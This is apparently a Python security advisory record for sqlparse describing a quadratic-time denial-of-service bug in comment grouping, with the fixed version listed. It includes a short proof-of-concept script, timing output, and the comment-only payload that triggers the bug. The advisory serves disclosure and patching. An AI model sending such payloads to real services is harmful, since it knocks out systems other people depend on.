{"id":"PYSEC-2026-3697","summary":"sqlparse: Quadratic O(n²) DoS in group_comments","details":"### Summary\nA comment-only statement (`-- c\\n`*n) may cause a Denial of Service (DoS).\n\n### Details\nLocation: [sqlparse/engine/grouping.py:331-341](https://github.com/andialbrecht/sqlparse/blob/f80af6a4007f11ada847218df8c29dc859238290/sqlparse/engine/grouping.py#L332) (`group_comments`), invoked first in `group()` at `grouping.py:439`. Reachable via `sqlparse.parse()` and `sqlparse.format(sql, strip_comments=True)`.\n\nA statement made of many single-line comments (`'-- c\\n'` repeated) lexes in O(n) but `group_comments` is O(n²):\n\n```python\ndef group_comments(tlist):\n    tidx, token = tlist.token_next_by(t=T.Comment)\n    while token:\n        eidx, end = tlist.token_not_matching(\n            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)\n        ...\n        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)\n```\n\nThe `while` loop runs n times and each `token_next_by` / `token_not_matching` rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.\n\nTwo following factors increase the severity:\n\n1. `group_comments` runs first in `group()` (`grouping.py:439`), before the `_group_matching` token-count guard (`grouping.py:34-39`). So the entire quadratic cost is paid even on oversized input. `MAX_GROUPING_TOKENS` does not provide protection on this vector.\n2. It sits on the primary sanitizer path: `format(sql, strip_comments=True)`, used by query loggers, SQL firewalls, ORMs, and migration tools.\n\n### PoC\nTested using Python 3.14:\n\n```python\nimport time, sqlparse\nfor n in (1000, 2000, 4000):\n    s = \"-- c\\n\" * n\n    t = time.perf_counter()\n    sqlparse.format(s, strip_comments=True)\n    print(f\"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms\")\n```\n\nOutput:\n\n```\nn= 1000  format(strip_comments)=  106.0 ms\nn= 2000  format(strip_comments)=  403.3 ms\nn= 4000  format(strip_comments)= 1602.8 ms\n```\n\nTime increase of ~4× per 2× input (quadratic). `parse()` shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.\n\n### Impact\nDenial of Service","aliases":["CVE-2026-71491","GHSA-f2ff-p2ww-7p4p"],"modified":"2026-08-19T12:45:05.582986917Z","published":"2026-08-19T11:56:27.016412Z","references":[{"type":"WEB","url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p"},{"type":"WEB","url":"https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87"},{"type":"PACKAGE","url":"https://github.com/andialbrecht/sqlparse"},{"type":"PACKAGE","url":"https://pypi.org/project/sqlparse"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f2ff-p2ww-7p4p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71491"}],"affected":[{"package":{"name":"sqlparse","ecosystem":"PyPI","purl":"pkg:pypi/sqlparse"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/sqlparse/PYSEC-2026-3697.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}